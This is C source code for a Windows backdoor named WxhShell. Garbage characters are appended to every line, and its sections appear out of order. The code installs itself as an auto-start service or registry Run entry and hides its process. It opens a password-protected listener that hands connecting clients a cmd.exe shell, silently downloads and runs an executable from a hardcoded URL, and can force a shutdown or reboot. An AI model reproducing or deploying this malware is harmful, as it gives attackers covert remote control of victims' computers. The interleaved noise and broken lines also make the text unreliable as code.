    } 3qHQX?a  
  // 关机 /Y[~-Y+!,  
  case 'd': { q,<[hBri-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s"=6{EVqk3  
    if(Boot(SHUTDOWN)) [~W`E1,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P ]N [y  
    else { JXiZB 8}  
    closesocket(wsh); ezhDcI_T  
    ExitThread(0); 6Dws,_UAZ4  
    } He0=-AR8  
    break; aI zv  
    } p6EDQwlf  
  // 获取shell z!=P@b  
  case 's': { +&tgJ07A  
    CmdShell(wsh); f#%JSV"7  
    closesocket(wsh); v8>v.}y  
    ExitThread(0); (-7ZI"Ku  
    break; M|T4~Q U&  
  } aRj>iQaddx  
  // 退出 dGZntT 2D  
  case 'x': { +ww^ev%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kI*(V [i  
    CloseIt(wsh); J2GcBzRH  
    break; 7RU}FE  
    } p\wJD1s  
  // 离开 \^+ILYO:$  
  case 'q': { MgnM,95  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0?7XtC P<  
    closesocket(wsh); '2J0>Bla  
    WSACleanup(); $ E1Tb{'  
    exit(1); Ocg"M Gb  
    break; _\5~>g_  
        } TL= YQA  
  } C>^D*C(  
  } fbrp#G71y  
BOlAm*tFt  
  // 提示信息 k!jNOqbb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  hRaf#  
} '6Qy/R  
  } RR1A65B  
dtM[E`PL  
  return; ^jdL@#k00  
} ~KjJ\b)R  
ske@uzAz  
// shell模块句柄 I"L;L?\S  
int CmdShell(SOCKET sock)  }`/gX=91  
{ \ v@({nB8  
STARTUPINFO si; wyc D>hc  
ZeroMemory(&si,sizeof(si)); xIbMs4'iEx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S{F-ttS"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /k\01hc`  
PROCESS_INFORMATION ProcessInfo; .r|*Ch#;P  
char cmdline[]="cmd"; Q.-*7h8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l1_X(Z._V  
  return 0; 9~AWng  
} =?}twC$  
)9"oL!2h  
// 自身启动模式 ?4t-caK^u  
int StartFromService(void) `qpc*enf0  
{ Lrz3   
typedef struct MlO-+}`_+  
{ ;uI~BV*3  
  DWORD ExitStatus; e&Y0}oY  
  DWORD PebBaseAddress; ~9pM%N V  
  DWORD AffinityMask; 8Vl!|\x5  
  DWORD BasePriority;  |qcD;  
  ULONG UniqueProcessId; Q ~|R Z7G  
  ULONG InheritedFromUniqueProcessId; 8 ,}ikOZ?  
}   PROCESS_BASIC_INFORMATION; ;|ub!z9GG  
dZ2%S''\  
PROCNTQSIP NtQueryInformationProcess; g9tu %cIkR  
=fLL|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PB'0?b}fab  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~2 }Pl)  
1IH[g*f  
  HANDLE             hProcess; :{g7lTM  
  PROCESS_BASIC_INFORMATION pbi; 9G+f/k,P  
N{a kg90  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j\)H  
  if(NULL == hInst ) return 0; $N+6h#  
SBKeb|H8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mMw;0/n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QEJGnl676  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9Ld9N;rWm#  
a% ,fXp>  
  if (!NtQueryInformationProcess) return 0; GG-[`!>.pw  
'w<BJTQIL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ksI>IW  
  if(!hProcess) return 0; $3 8gs{+  
P;91~``b-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Agy <j   
D&{ *AH%Q  
  CloseHandle(hProcess); Hhv$4;&X  
L'kq>1QWf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jz:gr=* z  
if(hProcess==NULL) return 0; ?C;JJ#Ho  
qc8Ta"  
HMODULE hMod; >]$aoA#  
char procName[255]; |HbEk[?^s  
unsigned long cbNeeded; =I4.Gf"~f  
?b$3ob"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A3UQJ  
oh\,OW  
  CloseHandle(hProcess); 1kFjas `g  
/8eW@IO.F  
if(strstr(procName,"services")) return 1; // 以服务启动 'V!kL, 9ES  
Vewzo1G2  
  return 0; // 注册表启动 j7/(sf  
} U</+.$b  
960qvz!  
// 主模块 #)74X% 4(  
int StartWxhshell(LPSTR lpCmdLine) U"5q;9#q  
{ 31XU7A  
  SOCKET wsl; Q=+8/b  
BOOL val=TRUE; 'j79GC0  
  int port=0; _Y-$}KwY!  
  struct sockaddr_in door; "{F;M{h$},  
*T4ge|zUc  
  if(wscfg.ws_autoins) Install(); p.Y$A if.  
/yYlu  
port=atoi(lpCmdLine); q|{tQJfYg  
Fk$@Yy+}e  
if(port<=0) port=wscfg.ws_port; ,L%p  
79tJV  
  WSADATA data; h)o]TV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;BTJ%F.  
1g i}H)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zr"dOj$Jf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Kw(& v  
  door.sin_family = AF_INET; C4_t_N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I7Zq}Pxa  
  door.sin_port = htons(port); 6Bdyf(t  
^<9)"9)m_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hEcYpng~  
closesocket(wsl); % +8  
return 1;  y h-9u  
} n4*'B*  
c~oe, 9  
  if(listen(wsl,2) == INVALID_SOCKET) { Qa?Q bHc  
closesocket(wsl); y''V"Be  
return 1; ZOHRUm  
} S ljZ~x,!  
  Wxhshell(wsl); nDn{zea7  
  WSACleanup(); }rxFS <j  
S A3Y:(  
return 0; WFdem/\kX  
)`RZkCe  
} *l q7t2  
)fR1n}#  
// 以NT服务方式启动 bVOO)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nK:`e9ES  
{ +}]wLM}\UF  
DWORD   status = 0; 1 ' %-y  
  DWORD   specificError = 0xfffffff; A'v[SUW'm  
`R ]&F$i(E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^ N_`^m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e)og4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -9i+@%{/  
  serviceStatus.dwWin32ExitCode     = 0; ]=pWZ~A  
  serviceStatus.dwServiceSpecificExitCode = 0; ?(M\:`G'  
  serviceStatus.dwCheckPoint       = 0; lc-*8eS  
  serviceStatus.dwWaitHint       = 0; w`38DF@K  
h!;MBn`8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Nv-/VQ/b  
  if (hServiceStatusHandle==0) return; 2X +7b M  
!j'guT&9]  
status = GetLastError(); ,|>nF;.Y  
  if (status!=NO_ERROR) '.xkn{c  
{ ^:$j:w?j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *xho  
    serviceStatus.dwCheckPoint       = 0; M{y|7e%K  
    serviceStatus.dwWaitHint       = 0; kfIbgya   
    serviceStatus.dwWin32ExitCode     = status; t"FRLC  
    serviceStatus.dwServiceSpecificExitCode = specificError; wf^cyCR0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?##y`.+O  
    return; aGe\.A=  
  } 4v i B=>  
p@`4 Qz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DwQp$l'NfW  
  serviceStatus.dwCheckPoint       = 0; $jDD0<F.#  
  serviceStatus.dwWaitHint       = 0; csm?oUniz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7YSuB9{M  
} M|aQ)ivh3  
72% {Wh/  
// 处理NT服务事件,比如:启动、停止 iNMLYYq]l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I\)N\mov e  
{ jR }*bIzv  
switch(fdwControl) J78Qj[v  
{ "otr+.{`*  
case SERVICE_CONTROL_STOP: aj+zmk~-  
  serviceStatus.dwWin32ExitCode = 0; UeC 81*XZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !k ;[^>  
  serviceStatus.dwCheckPoint   = 0; 6NP`P jR  
  serviceStatus.dwWaitHint     = 0; vsxvHot=  
  { :Fq2x_IUE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UX+?0K  
  } hlt9x.e.A  
  return; s"gKonwI2  
case SERVICE_CONTROL_PAUSE: K>`m_M"LA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <;.}WQC  
  break; pyGFDB5_P  
case SERVICE_CONTROL_CONTINUE: :ga 9Db9P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &*h`b{]  
  break; noWRYS%  
case SERVICE_CONTROL_INTERROGATE: 99=[>Ck)G  
  break; |8b$x| B  
}; /6?tgr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z%(Df3~gmm  
} jauc*347  
UzP@{?  
// 标准应用程序主函数 N GX-'w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  'lSnyW{  
{ `K@5_db\  
<[*h_gE5  
// 获取操作系统版本 )L&n)w  
OsIsNt=GetOsVer(); F=P+;%.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]a &x'  
{3_Ffsg`  
  // 从命令行安装 4'7 v!I9  
  if(strpbrk(lpCmdLine,"iI")) Install(); P W0q71  
1D#T+t`[  
  // 下载执行文件 LL6ON }  
if(wscfg.ws_downexe) { ^$ g],PAY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hv_pb#1Ks  
  WinExec(wscfg.ws_filenam,SW_HIDE); l[ZQ7$kL  
} T% jjs  
@p?b"?QaB  
if(!OsIsNt) { rVc zO+E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?kG#qt]Q5  
HideProc(); Q)7L^  
StartWxhshell(lpCmdLine); ;RTrRh0v  
} FN8=YUYK%  
else PAO[Og,-  
  if(StartFromService()) iLI.e rm  
  // 以服务方式启动 rA>A=,  
  StartServiceCtrlDispatcher(DispatchTable); 'IqK M  
else @8x6#|D  
  // 普通方式启动 %$!R]B)  
  StartWxhshell(lpCmdLine); Q:Nwy(,I  
R-0_226  
return 0; @pEO@bbg>  
} !Barc ,kA  
)e <! =S  
b*F :l#  
(,)vak&t  
=========================================== c=U$$|qHV  
F"HI>t)>  
Xk$l-Zfse  
6vp8LNSW  
Z1MJ!{@6  
5;i!PuL  
" u3v6$CD?  
3T.M?UG>  
#include <stdio.h> 9^[5!SMzCj  
#include <string.h> ^QL/m\zq@%  
#include <windows.h> U{:(j5m  
#include <winsock2.h> ")[Q4H;V  
#include <winsvc.h> qyG636i  
#include <urlmon.h> :6Pc m3  
~jCpL@rS  
#pragma comment (lib, "Ws2_32.lib") Eg- Mm4o  
#pragma comment (lib, "urlmon.lib") $'mB8 S  
(^s&#_w03  
#define MAX_USER   100 // 最大客户端连接数 &l!{!f4  
#define BUF_SOCK   200 // sock buffer P.H/H04+  
#define KEY_BUFF   255 // 输入 buffer ~IJZM`gN  
K {1ZaEH  
#define REBOOT     0   // 重启 Vlxb<$5Nh  
#define SHUTDOWN   1   // 关机 .8uwg@yD  
i4n%EDQ  
#define DEF_PORT   5000 // 监听端口 4>wIF}\  
O]r3?=  
#define REG_LEN     16   // 注册表键长度 Pk?%PB ?Z  
#define SVC_LEN     80   // NT服务名长度 ; K 6Fe)  
1b]PCNz  
// 从dll定义API GO GXM4I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ("M#R!3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }+RF~~H/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +K?N:w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zl0:U2x7  
#* /W!UOu  
// wxhshell配置信息 8iH;GFNJ7'  
struct WSCFG { : R*^Izs=  
  int ws_port;         // 监听端口 { `|YX_HS  
  char ws_passstr[REG_LEN]; // 口令 ~1]2A[`s!  
  int ws_autoins;       // 安装标记, 1=yes 0=no i7!mMO8]  
  char ws_regname[REG_LEN]; // 注册表键名 bZlLivi  
  char ws_svcname[REG_LEN]; // 服务名 W<hdb!bE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dK(%u9v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eYSGxcx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,m'#>d&zO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R{Kd%Y:2Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" byj mH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iYQy#kO  
@ un  
}; f]6` GsE  
#vZ]2Ud= 2  
// default Wxhshell configuration ~TK^aM  
struct WSCFG wscfg={DEF_PORT, {Ljl4Sp&  
    "xuhuanlingzhe", 6l]?%0[*  
    1, wj5s5dH  
    "Wxhshell", y<x_v )k-  
    "Wxhshell", _wJ#jJz2  
            "WxhShell Service", Ac(irPrD  
    "Wrsky Windows CmdShell Service", r ~!%w(N|M  
    "Please Input Your Password: ", `L[32B9  
  1, w7?9e#> Z  
  "http://www.wrsky.com/wxhshell.exe", 714nUA872  
  "Wxhshell.exe" it|:P  
    }; :-@P3F[0  
KXbYv62  
// 消息定义模块 86 /i~s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #_L&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #2'&=?J1r  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =ZIFS  
char *msg_ws_ext="\n\rExit."; j.v _  
char *msg_ws_end="\n\rQuit."; $ 5-2 cL  
char *msg_ws_boot="\n\rReboot..."; Y},GZ^zqy  
char *msg_ws_poff="\n\rShutdown..."; bme#G{[)Y  
char *msg_ws_down="\n\rSave to "; 3rdxXmx  
~zC fan/  
char *msg_ws_err="\n\rErr!"; %c2i.E/G  
char *msg_ws_ok="\n\rOK!"; _p2<7x i   
1xV1#'@[Jd  
char ExeFile[MAX_PATH]; Nv]/L +i  
int nUser = 0; "8dnFrE  
HANDLE handles[MAX_USER]; G:ngio]G0  
int OsIsNt; >@e%,z  
7Bd_/A($  
SERVICE_STATUS       serviceStatus; /,%o<Ql9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; moI<b\G@  
Q>g$)-8  
// 函数声明 +~.Jw#HqS  
int Install(void); !e"m*S.(6{  
int Uninstall(void); ]H'82a  
int DownloadFile(char *sURL, SOCKET wsh); F9J9pgVP  
int Boot(int flag); ?G<I N)  
void HideProc(void); SLA~F?t  
int GetOsVer(void); {#Cm> @')  
int Wxhshell(SOCKET wsl); /[dAgxL  
void TalkWithClient(void *cs); Z'bMIdV  
int CmdShell(SOCKET sock); 0nnq/u^  
int StartFromService(void); JN-8\ L  
int StartWxhshell(LPSTR lpCmdLine); b:I5poI3  
ew['9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); emIbGkH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HW,55#yG  
"jMnYEG  
// 数据结构和表定义 4c@F.I  
SERVICE_TABLE_ENTRY DispatchTable[] = %b4(wn?n:B  
{ <"%h1{V  
{wscfg.ws_svcname, NTServiceMain}, t^;Fq{>  
{NULL, NULL} t ?'/KL  
}; T`[ZNq+${  
XYTcG;_z  
// 自我安装 L KR,CPz  
int Install(void) d>psqmQ  
{ qiJ{X{lI  
  char svExeFile[MAX_PATH]; k5 l~  
  HKEY key; S6Pb V}  
  strcpy(svExeFile,ExeFile); :?W:'% (`[  
5LH ]B  
// 如果是win9x系统,修改注册表设为自启动  Vp4]  
if(!OsIsNt) { 7Wn]l!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?V&a |:N9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G<1mj!{Vp  
  RegCloseKey(key); ZA@"uqa6b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sg\ jC#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a8$pc>2E  
  RegCloseKey(key); _%!hkc(  
  return 0; 1_]l|`Po  
    } j`l K}  
  } xc3Q7u!|  
} 1Xc%%j  
else { .p_$]  
(Cd `~*5  
// 如果是NT以上系统,安装为系统服务 \zyGJyy.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z8MYgn 7  
if (schSCManager!=0) /% 1lJD  
{ !1R  
  SC_HANDLE schService = CreateService Ne_>%P|I_  
  ( =v9;HPiO  
  schSCManager, !I&Sy]G  
  wscfg.ws_svcname, (^\i(cfu6Q  
  wscfg.ws_svcdisp, aH~"hB^e  
  SERVICE_ALL_ACCESS, ;oE4,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VUy 1?n  
  SERVICE_AUTO_START, S0yT%V  
  SERVICE_ERROR_NORMAL, (FHh,y~v  
  svExeFile, >O=V1  
  NULL, wS4wED&a  
  NULL, Kfl+8UR5=  
  NULL, _Qas+8NW  
  NULL, ]f?LQCTq<b  
  NULL f^ qQ 5N  
  ); RJM(+5xQ|  
  if (schService!=0) XF6= xD  
  { 5N/;'ySAE_  
  CloseServiceHandle(schService); 8Qh/=Ir  
  CloseServiceHandle(schSCManager); C54)eT6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mHy]$Z  
  strcat(svExeFile,wscfg.ws_svcname); 2rM i~8 T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tB.9Ov*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1;V5b+b  
  RegCloseKey(key); 7 &Aakl  
  return 0; lLv0lf  
    } ~MX@-Ff  
  } cjk5><}`H7  
  CloseServiceHandle(schSCManager); o hCPNm  
} oCS NA.z  
} `shB[Lt  
19_F\32  
return 1; W%o){+,  
} >KJ]\`2>)c  
A 3l1$t#w  
// 自我卸载 I$&/?ns@O  
int Uninstall(void)  Bv3v;^  
{ ]jYM;e  
  HKEY key; 2S tpcAlU}  
Hw Is7  
if(!OsIsNt) { tznT*EQr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dGg+[?  
  RegDeleteValue(key,wscfg.ws_regname); [*(MI 9WM  
  RegCloseKey(key); %j,Ny}a   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Y(M>u.+!  
  RegDeleteValue(key,wscfg.ws_regname); x?kZD~|{)  
  RegCloseKey(key); F-6* BUqJ  
  return 0; zV]0S o  
  } ,\M'jV"S K  
} S.z;Bm  
} , F[mh  
else { `#V"@Go  
,rKN/{M!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  >Pu*MD;  
if (schSCManager!=0) M\%{!Wzo8  
{ `e bB+gI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xl3U  
  if (schService!=0) =Y BJ7.Y  
  { ^$(|(N[;   
  if(DeleteService(schService)!=0) { [|YMnV<B  
  CloseServiceHandle(schService); 1L0ku@%t9Y  
  CloseServiceHandle(schSCManager); v#6.VUAw  
  return 0; Qmrcng}P  
  } IO+z:D{  
  CloseServiceHandle(schService); #df43_u  
  } ms$o,[  
  CloseServiceHandle(schSCManager); PQK_*hJG"  
} L81"W`?  
}  LCG<  
`XnFc*L 1  
return 1; e#seqx  
} *,. {Xf  
l*eA ?Qz  
// 从指定url下载文件 zt8ZJlNK  
int DownloadFile(char *sURL, SOCKET wsh) fkYQ3d,`  
{ %guot~S|  
  HRESULT hr; \8pbPo=x  
char seps[]= "/"; sOJ~PRA  
char *token; ] !H<vR$8  
char *file; aH6pys!O  
char myURL[MAX_PATH]; m4iR '~L}  
char myFILE[MAX_PATH]; IoX(Pa  
4 qnQF]4  
strcpy(myURL,sURL); c*h5lM'n6  
  token=strtok(myURL,seps); L]V K9qB  
  while(token!=NULL) 6?~pWZ&k_  
  { dug RO[  
    file=token; suVS!} C  
  token=strtok(NULL,seps); e'ZgF~  
  } a-W&/  
`8Om*{xg  
GetCurrentDirectory(MAX_PATH,myFILE); O~D}&M@/R  
strcat(myFILE, "\\"); =}L[/RL  
strcat(myFILE, file); V;z?m)ur  
  send(wsh,myFILE,strlen(myFILE),0); e0q a ~5  
send(wsh,"...",3,0); X[|>r@Aa!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *D'V W{  
  if(hr==S_OK) 7}*5Mir p  
return 0; 0QPipuP  
else 3drgB;:g`  
return 1; /i]Gg \)  
4b#YpK$7U  
} v|hi;l@7E  
YONg1.^!(  
// 系统电源模块 DJbj@ 2W[  
int Boot(int flag) r8 xH A  
{ t^YDCcvoQ  
  HANDLE hToken; ?gkK*\x2  
  TOKEN_PRIVILEGES tkp; OS!47Z /q  
PvM<#zq_  
  if(OsIsNt) { c(~M<nL0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sC#Ixq'ls7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); YziQU_  
    tkp.PrivilegeCount = 1; Ft]sTA+C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . v;Npm2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FPqgncBHK  
if(flag==REBOOT) { =gj]R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WcdU fv(>  
  return 0; |[qI2-el?  
} hIdGQKr>V  
else { $Fo ,$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) > 1r>cZn  
  return 0; eBP N[V  
} <sPB|5Ak  
  } I5e!vCG)  
  else { Mn=_lhW K  
if(flag==REBOOT) { A*$vk2VWw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9|go`^*.  
  return 0; -wO`o<  
} TKmC/c  
else { ZpwB"%e$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R&-bA3w$  
  return 0; s2tEyR+gW  
} -?GYW81Q  
} \'p)kDf  
Sy8Og] a  
return 1; 1mB6rp  
} gU 8'7H2  
yn7n  
// win9x进程隐藏模块 h;B'#$_  
void HideProc(void) 5$y<nMP  
{ C|>#|5XaF  
Y!SD^Ie7!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oc15!M3$  
  if ( hKernel != NULL ) I*0 W\Qz@  
  { \zKVgywR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }wiq?dr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c  xX  
    FreeLibrary(hKernel); 2\7]EW  
  } 63at lq  
d+/d)cu  
return; I5-/K VWb  
} q k !Q2W  
{i=qx#2X?H  
// 获取操作系统版本 > sUk6Z~  
int GetOsVer(void) VJ wzYl   
{ 04,]upC${W  
  OSVERSIONINFO winfo; &"d4J?io`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G;tIhq[$Vb  
  GetVersionEx(&winfo);  Z3I<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]o_ Ps|  
  return 1; /+3|tb  
  else /423!g0Q  
  return 0; QK;A>]  
} d`2VbZC`  
c|I{U[(U  
// 客户端句柄模块 1W; +hXx  
int Wxhshell(SOCKET wsl) ^^v\ T  
{ a1s=t_wT  
  SOCKET wsh; NjMo"1d  
  struct sockaddr_in client; 9g>ay-W[(  
  DWORD myID; \l#=p+x5  
_7 n+j  
  while(nUser<MAX_USER) 0C3CqGP  
{ }J:~}?^%n  
  int nSize=sizeof(client); $rf5\_G,96  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;N i+TS  
  if(wsh==INVALID_SOCKET) return 1; `m3C\\9;  
Mq6"7L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3{ `fT5]U  
if(handles[nUser]==0) u YJ6 "j  
  closesocket(wsh); Ll&Y_Ry  
else ;o#dmG  
  nUser++; y|c]r!A  
  } /SZsXaC '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }`>u+iH#a  
 x@Q}sW92  
  return 0; fNQ.FAK":  
} w!tQU9+ *  
b[H& vp  
// 关闭 socket Kh3*\xT  
void CloseIt(SOCKET wsh) 1)M3*h3  
{ qksN {t  
closesocket(wsh); _G[5S-0 [  
nUser--; z[V|W  
ExitThread(0); trg+" )a  
} <+C]^*j  
=XyK/$  
// 客户端请求句柄 ]"aC wr  
void TalkWithClient(void *cs) f |aO9w   
{ ~M+|g4W%  
=|=9\3po  
  SOCKET wsh=(SOCKET)cs; ?GX 5Pvg  
  char pwd[SVC_LEN]; pX|\J>u)  
  char cmd[KEY_BUFF]; ss |<\DE+  
char chr[1]; N!aV~\E  
int i,j; ^uC1\!Q1  
m?bb/o'B  
  while (nUser < MAX_USER) { }kGJ)zh  
EzwYqw  
if(wscfg.ws_passstr) { [sbC6(z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pn>zuH e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1z0&+C3z  
  //ZeroMemory(pwd,KEY_BUFF); CQQX7Y\  
      i=0; 8K7zh.E  
  while(i<SVC_LEN) { 7DXT1+t  
p%_r0  
  // 设置超时 t k2B\}6  
  fd_set FdRead; lD. PNwM  
  struct timeval TimeOut; Hk(w\   
  FD_ZERO(&FdRead); vD^^0-Pk6  
  FD_SET(wsh,&FdRead); /w`{]Ntgu  
  TimeOut.tv_sec=8; 'l)@MX bGL  
  TimeOut.tv_usec=0; 'BcxKqC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !G Z2|~f9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XLI'f$w&  
D3vdO2H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'P39^rb  
  pwd=chr[0]; Y?R;Y:u3Z  
  if(chr[0]==0xd || chr[0]==0xa) { DTI+VY .W^  
  pwd=0; C<eeAWP3v  
  break; +);o{wfW  
  } /<Zy-+3  
  i++; [P`Q_L,+  
    } LX!16a@SxA  
<~<I K=n  
  // 如果是非法用户,关闭 socket o#4Wn'E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ko>SnE|w#  
} jrvhTej  
JIjqGxR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZZ)bTLu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &W)k s  
!f V.#9AB#  
while(1) { 'h([Y8p{  
w(<; $9  
  ZeroMemory(cmd,KEY_BUFF); :DR G=-M  
VABrw t  
      // 自动支持客户端 telnet标准   XK{`x<  
  j=0; 4ehajK  
  while(j<KEY_BUFF) { Hvnak{5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tt6ElP|D  
  cmd[j]=chr[0]; {uDL"~^\  
  if(chr[0]==0xa || chr[0]==0xd) { b=Zg1SqV  
  cmd[j]=0; cJGA5m/{I  
  break; d]} 7]  
  } 8n,i5>!d  
  j++; s[SzE6eQ`l  
    }  7=6p  
rPZ<  
  // 下载文件 ^{zwIH2I]  
  if(strstr(cmd,"http://")) { DOw< XlvC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6jO*rseC  
  if(DownloadFile(cmd,wsh)) lva]jh2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Ejv8UdA9  
  else LrsP4G  
